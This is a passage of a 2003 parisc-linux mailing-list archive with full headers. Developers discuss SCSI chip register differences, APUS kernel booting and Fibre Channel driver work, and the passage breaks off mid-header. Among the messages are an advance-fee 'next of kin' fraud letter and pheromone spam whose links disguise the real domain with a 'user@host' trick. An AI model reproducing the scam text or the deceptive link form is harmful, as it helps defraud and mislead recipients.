Date: Tue, 7 Oct 2003 22:22:09 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20031007202209.GA2375@ipgraf11.informatik.fh-schmalkalden.de>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be> <Pine.LNX.4.44.0309291434260.17812-100000@serv> <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk> <20030929212501.GA2631@ipgraf11.informatik.fh-schmalkalden.de> <20030930022132.GU24824@parcelfarce.linux.theplanet.co.uk> <20030930135932.GA10395@ipgraf11.informatik.fh-schmalkalden.de> <20030930143250.GX24824@parcelfarce.linux.theplanet.co.uk>
Reply-To: rene.br@web.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622852 32352 80.91.229.3 (22 Nov 2014 02:20:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:52 +0000 (UTC)
Cc: Rene Brothuhn <rene.br@web.de>,
	Matthew Wilcox <willy@debian.org>,
	Roman Zippel <zippel@linux-m68k.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  7 14:24:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from postfix.fh-schmalkalden.de (pop3.fh-schmalkalden.de [194.94.30.58])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84AED48C7
	for <parisc-linux@parisc-linux.org>; Tue,  7 Oct 2003 14:24:20 -0600 (MDT)
Original-Received: from smtp.fh-schmalkalden.de (viruswall [194.94.30.51])
	by postfix.fh-schmalkalden.de (Postfix) with ESMTP
	id 57A3558052; Tue,  7 Oct 2003 22:24:09 +0200 (CEST)
Original-Received: from ipgraf11.informatik.fh-schmalkalden.de (ipgraf11.informatik.fh-schmalkalden.de [212.201.64.134])
	by smtp.fh-schmalkalden.de (Postfix) with ESMTP
	id 80F944130D; Tue,  7 Oct 2003 22:24:14 +0200 (MET DST)
Content-Disposition: inline
In-Reply-To: <20030930143250.GX24824@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Sep 30, 2003 at 16:32:50 +0200
X-Mailer: Balsa 1.3.6
Original-Lines: 42
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19750

Hello!

On 2003.09.30 16:32 Matthew Wilcox wrote:
> On Tue, Sep 30, 2003 at 03:59:32PM +0200, Rene Brothuhn wrote:
> > but the 720/770 registers are slightly different.
> > Is the NCR_Q720 or zalon driver working?
> 
> Yes, they're both working fine.
> 
> I went over the 770 register definitions the other night and only found
> one difference between the names of the definitions in the sym53c8xx_defs
> file and the 770 PDF and that was:
> 
> -/*3a*/  u_char    nc_sbr;
> +/*3a*/  u_char    nc_sbr; /* dwt on 720 */
> 
> This is the DMA watchdog timer, but it's not actually used by the driver.
> It's a `scratch byte register' on the 895.  Some of the `reserved'
> fields in the 770 register definition have names, but they were only
> ever touched if the chip was a sufficiently recent revision.
> 
> BTW, I couldn't see a document for the 720 chip on the LSI site -- only
> the 710 and 770.  I presume I won't go far wrong treating them the same.

Sorry for reacting so late. I also have no doc for the 720, but I think 
the differences between 770 and 720 are not so big.
I'm sure there are a lot more differences between the 8xx and 720/770. Not 
only the registers or register names but also the bits inside some 
registers are slightly different.
I have some PDF's on which the differences between the chips are 
described. It seems that these docs are not available anymore on the LSI 
site. I'll send it directly to you, because the size is to much for the 
list.
I hope this will help you.

I have looked into the driver a little bit last weekend and I guess it 
should be possible to provide a 770 definition into the driver. But first 
I have to got a workable 2.6 kernel...


Ciao, Ren


From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rene Brothuhn <rene.br@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Tue, 7 Oct 2003 22:24:22 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20031007202422.GE2375@ipgraf11.informatik.fh-schmalkalden.de>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be> <Pine.LNX.4.44.0309291434260.17812-100000@serv> <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk> <20030929212501.GA2631@ipgraf11.informatik.fh-schmalkalden.de> <20030930022132.GU24824@parcelfarce.linux.theplanet.co.uk> <20030930135932.GA10395@ipgraf11.informatik.fh-schmalkalden.de> <Pine.LNX.4.44.0309301654110.17548-100000@serv>
Reply-To: rene.br@web.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622852 32355 80.91.229.3 (22 Nov 2014 02:20:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:52 +0000 (UTC)
Cc: Rene Brothuhn <rene.br@web.de>,
	Matthew Wilcox <willy@debian.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: Roman Zippel <zippel@linux-m68k.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  7 14:26:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from postfix.fh-schmalkalden.de (pop3.fh-schmalkalden.de [194.94.30.58])
	by dsl2.external.hp.com (Postfix) with ESMTP id 788E248D0
	for <parisc-linux@parisc-linux.org>; Tue,  7 Oct 2003 14:26:29 -0600 (MDT)
Original-Received: from smtp.fh-schmalkalden.de (viruswall [194.94.30.51])
	by postfix.fh-schmalkalden.de (Postfix) with ESMTP
	id 6E37B58057; Tue,  7 Oct 2003 22:26:22 +0200 (CEST)
Original-Received: from ipgraf11.informatik.fh-schmalkalden.de (ipgraf11.informatik.fh-schmalkalden.de [212.201.64.134])
	by smtp.fh-schmalkalden.de (Postfix) with ESMTP
	id DA9BF4130D; Tue,  7 Oct 2003 22:26:27 +0200 (MET DST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0309301654110.17548-100000@serv>; from zippel@linux-m68k.org on Tue, Sep 30, 2003 at 16:55:14 +0200
X-Mailer: Balsa 1.3.6
Original-Lines: 17
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19751

Hello!

On 2003.09.30 16:55 Roman Zippel wrote:
> Hi,
> 
> On Tue, 30 Sep 2003, Rene Brothuhn wrote:
> 
> > But the mean problem is, that there is no working 2.6 kernel for
> APUS...
> 
> That's not really true anymore, it boots here now. :-)

Sounds nice! Where can I get the working sources?


Ciao, Ren


From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Segun Agbaje <seg_agbj@tiscali.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hello
Date: Wed, 08 Oct 2003 05:18:09 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20031008051819.E925248BA@dsl2.external.hp.com>
Reply-To: seg_agbj@tiscali.co.uk
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="5b3aeaca-e562-4b34-992e-3bc028071e02"
X-Trace: ger.gmane.org 1416622853 32358 80.91.229.3 (22 Nov 2014 02:20:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  7 23:18:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 25.18.05.08 (unknown [192.116.105.87])
	by dsl2.external.hp.com (Postfix) with SMTP id E925248BA
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Oct 2003 23:18:19 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19752

This is a multi-part message in MIME format
--5b3aeaca-e562-4b34-992e-3bc028071e02
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable


Dear Sir/Madam, 

It is indeed my pleasure to write to you this letter, which I believe will be =

a suprise, as we are both complete strangers. My name is Mr Segun Agbaje, the =

Deputy Managing Director of COMMERICAL BANK OF AFRICA. I am writing in =
respect 
of a foreign customer of my bank with account number 14-255-2004/utb/t who 
perished in a plane crash Korean Air Flight 801] with the whole passengers 
aboard on August 6, 1997. Since the demise of this 
our customer,I personally has watched with keen interest to see the next of 
kin but all has proved abortive as no one has come to claim his funds of 
USD.28.5m,[twenty eight million five hundred thousand united states dollars] 
=

which has been with my branch for a very long time. 

On this note, I decided to seek for whom his name shall be used as the next =
of 
kin as no one has come up to be the next of kin. And the banking ethics here 
=

does not allow such money to stay more than Six years, because money will be 
=

recalled to the bank treasury as unclaimed after this period. In view of this =

I got your contact through a trade association directory after realizing that =
your country 
is similar to the deceased. I will give you 15% of the total. 

Upon the receipt of your response, I will send you by fax or e-mail the 
application, bank's fax number and the next step to take. I will not fail to 
=

bring to your notice that this business is hitch free and that you should not =

entertain any fear as all modalities for fund transfer can be finalized =
within 
five banking days, after you apply to the bank as a 
relation to the deceased. 

When you receive this letter. Kindly send me an e-mail to my private mail =
box, 
signifying your decision.Including your private Tel/Fax numbers for quick 
communication. 

Respectfully submitted, 

Mr Segun Agbaje 
  
--5b3aeaca-e562-4b34-992e-3bc028071e02--



From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A3591B (Tachyon) FC Card
Date: Wed, 8 Oct 2003 09:28:31 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <1289146742B56546AE580DFC6B711A8313482D@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622853 32361 80.91.229.3 (22 Nov 2014 02:20:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:53 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  8 08:29:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail8-haw-R.bigfish.com (mail-haw.bigfish.com [12.129.199.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id B789D483E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Oct 2003 08:29:02 -0600 (MDT)
Original-Received: from mail8-haw.bigfish.com (localhost.localdomain [127.0.0.1])
	by mail8-haw-R.bigfish.com (Postfix) with ESMTP id 4549022E5B0
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Oct 2003 14:29:02 +0000 (UCT)
Original-Received: by mail8-haw (MessageSwitch) id 1065623342270184_4689; Wed,  8 Oct 2003 14:29:02 +0000 (UCT)
Original-Received: from smtpgw5.sprintspectrum.com (smtpgw5.sprintspectrum.com [207.40.188.13])
	by mail8-haw.bigfish.com (Postfix) with ESMTP id BA6E622E577
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Oct 2003 14:29:01 +0000 (UCT)
Original-Received: from mailhost.sprintspectrum.com (smtpgw8.it.sprintspectrum.com [207.40.65.56])
	by smtpgw5.sprintspectrum.com (8.12.10/8.12.8) with ESMTP id h98ET1B0024939
	for <parisc-linux@lists.parisc-linux.org>; Wed, 8 Oct 2003 09:29:01 -0500 (CDT)
Original-Received: from PDAWG02A.corp.sprint.com (localhost [127.0.0.1])
	by mailhost.sprintspectrum.com (Switch-2.2.8/Switch-2.2.6) with ESMTP id h98ET0213666
	for <parisc-linux@lists.parisc-linux.org>; Wed, 8 Oct 2003 09:29:00 -0500 (CDT)
Original-Received: from PKDWB07C.ad.sprint.com ([10.185.12.151]) by PDAWG02A.corp.sprint.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Wed, 8 Oct 2003 09:28:32 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: A3591B (Tachyon) FC Card
Thread-Index: AcONqHJkYCqPxdviSR+VovQ7Z1jzaw==
X-OriginalArrivalTime: 08 Oct 2003 14:28:32.0203 (UTC) FILETIME=[732061B0:01C38DA8]
X-BigFish: v
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19753

I am interested in making this card work.  If anyone else is, I would
certainly appreciate some help!  :)

I'm trying to figure out whether it would be a good idea to use some of
the existing code in the cpqfcTS* driver (similar to the way that the
zalon7xx scsi host template calls code in the ncr53c8xx driver).
However, the cpqfcTS* code is quite a beast, perhaps writing the driver
from scratch would be better?  (Googling the list archives shows that
I'm not the only one intimidated(?) by the compaq code :)

I haven't been able to find ANY documentation on this particular card
(not counting the installation manual).  Does anyone else have docs for
this card or the Tachyon(?) chipset it uses??

I guess the icing on the cake is the fact that I don't have ANY
experience writing device drivers.  However, I was able to find an old
article by Alan Cox on how to write a simple scsi driver that has been
very helpful.  I'd appreciate any references to other docs that may be
helpful to a neophyte like myself (specifically, anything that may
explain the parisc-linux specific interfaces register_parisc_driver(),
and the GSC interfaces).

Thank you,

Pat Padgett


From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] A3591B (Tachyon) FC Card
Date: Wed, 8 Oct 2003 18:16:08 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <3F5CB6FB0000F484@ocpmta1.freegates.net>
References: <1289146742B56546AE580DFC6B711A8313482D@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622853 32363 80.91.229.3 (22 Nov 2014 02:20:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:53 +0000 (UTC)
To: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  8 10:16:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 762B44856
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Oct 2003 10:16:12 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A7Gyv-0004Iq-00; Wed, 08 Oct 2003 18:16:09 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 8 Oct 2003 18:16:08 +0200
In-Reply-To: <1289146742B56546AE580DFC6B711A8313482D@PKDWB07C.ad.sprint.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19754

>
>I'm trying to figure out whether it would be a good idea to use some of
>the existing code in the cpqfcTS* driver (similar to the way that the
>zalon7xx scsi host template calls code in the ncr53c8xx driver).
>However, the cpqfcTS* code is quite a beast, perhaps writing the driver
>from scratch would be better?  (Googling the list archives shows that
>I'm not the only one intimidated(?) by the compaq code :)
>
Hi,

Because I would also like to test Tachyon based FC card on a N, I had the
opportunity to discuss by email with the maintainer of this code (iirc on
sf.net). He recognised himself that it would have to re-writte but have no
time to do :(

For my part, I didn't find much more doc on this cards and so abandon the
idea to write this code (I am also a beginner in this field).
I can just wish you better success :)

Joel



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Russel Rouse" <89souqs@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] having trouble scoring babes? xea kbo neysfz pim
Date: Thu, 09 Oct 03 03:03:09 GMT
Lines: 25
Approved: news@gmane.org
Message-ID: <1b176n$o7-j57j7c@ms64.ia6oi>
Reply-To: "Russel Rouse" <89souqs@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=".E.9BCE_F.CAF_32EFDB_."
X-Trace: ger.gmane.org 1416622854 32364 80.91.229.3 (22 Nov 2014 02:20:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:54 +0000 (UTC)
To: <grundler@parisc-linux.org>, <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  8 12:00:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 200-207-40-243.speedyterra.com.br (unknown [200.207.40.243])
	by dsl2.external.hp.com (Postfix) with SMTP
	id 738014875; Wed,  8 Oct 2003 12:00:37 -0600 (MDT)
Original-Received: from [230.228.40.229]
	by 200-207-40-243.speedyterra.com.br SMTP id sSoOtsq3gFCQYo;
	Thu, 09 Oct 2003 03:03:09 -0700
X-Mailer: QUALCOMM Windows Eudora Version 5.1
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19755

--.E.9BCE_F.CAF_32EFDB_.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

xasa t
oga
 rnttsko
x pfvewoak ck <P>
Grundler i found a great deal! <center><font face=3Dverdana>S<uu>E<uu>X AT=
T<uu>RACT<uu>ING PHE<uu>RO<uu>MONES!! AVAILABLE HERE!!<P>FOR M<uu>EN OR WO=
M<uu>EN!!<P><a href=3Dhttp://www.cheapest-phero-online.com@ebargins.biz/ph=
ero/>LOOK HERE FOR MORE INFO!!<P></a>
<BR><BR><BR><BR><BR><BR><font size=3D-2>jm y htsaimwzkckng wl xt yj zit
sq bznuabk<BR>uexp ldxdzxqtmi<BR><B=
R><a href=3Dhttp://www.cheapest-phero-online.com@ebargins.biz/remove.html>=
RE<uu>MOVE FROM MAI<uu>LLI<uu>ST</a> <P>ztbnu n  ie
n  
jkxs aqtefkckuzc
zbe i

yrftfjbgrxaq xdvnstunezdkcgpkkuza rfpque

--.E.9BCE_F.CAF_32EFDB_.--



From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A3591B (Tachyon) FC Card
Date: Wed, 08 Oct 2003 22:38:17 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <1065649096.10567.11.camel@dhcp23.swansea.linux.org.uk>
References: <1289146742B56546AE580DFC6B711A8313482D@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622854 32367 80.91.229.3 (22 Nov 2014 02:20:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  8 15:40:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (cpc1-cwma1-5-0-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5266F48F6
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Oct 2003 15:40:25 -0600 (MDT)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id h98LcImr011014;
	Wed, 8 Oct 2003 22:38:18 +0100
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id h98LcH3O011012;
	Wed, 8 Oct 2003 22:38:17 +0100
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <1289146742B56546AE580DFC6B711A8313482D@PKDWB07C.ad.sprint.com>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19756

On Mer, 2003-10-08 at 15:28, Padgett, Pat M [NTWK SVCS] wrote:
> I haven't been able to find ANY documentation on this particular card
> (not counting the installation manual).  Does anyone else have docs for
> this card or the Tachyon(?) chipset it uses??

If I remember rightly tachyon is one of the FC chipsets where you have
to implement a *lot* of higher level FC handling yourself. As to using
the compaqfc code I wish you luck, but if you do clean it up so it is
understandable and sumbit the cleanups that will in itself be a good
deed for the year 8)

> I guess the icing on the cake is the fact that I don't have ANY
> experience writing device drivers. 

FC is not the place to start. The specifications are complex, frequently
bear no relation to the real world and you have a lot more to handle
than the scsi layer itself will look after.




From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A3591B (Tachyon) FC Card
Date: 08 Oct 2003 18:05:56 -0400
Organization: mkp.net
Lines: 14
Approved: news@gmane.org
Message-ID: <yq1llrv5qrf.fsf@wilson.mkp.net>
References: <1289146742B56546AE580DFC6B711A8313482D@PKDWB07C.ad.sprint.com>
	<1065649096.10567.11.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622854 32371 80.91.229.3 (22 Nov 2014 02:20:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:54 +0000 (UTC)
Cc: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>,
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  8 16:06:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wilson.mkp.net (rover.mkp.net [209.217.122.9])
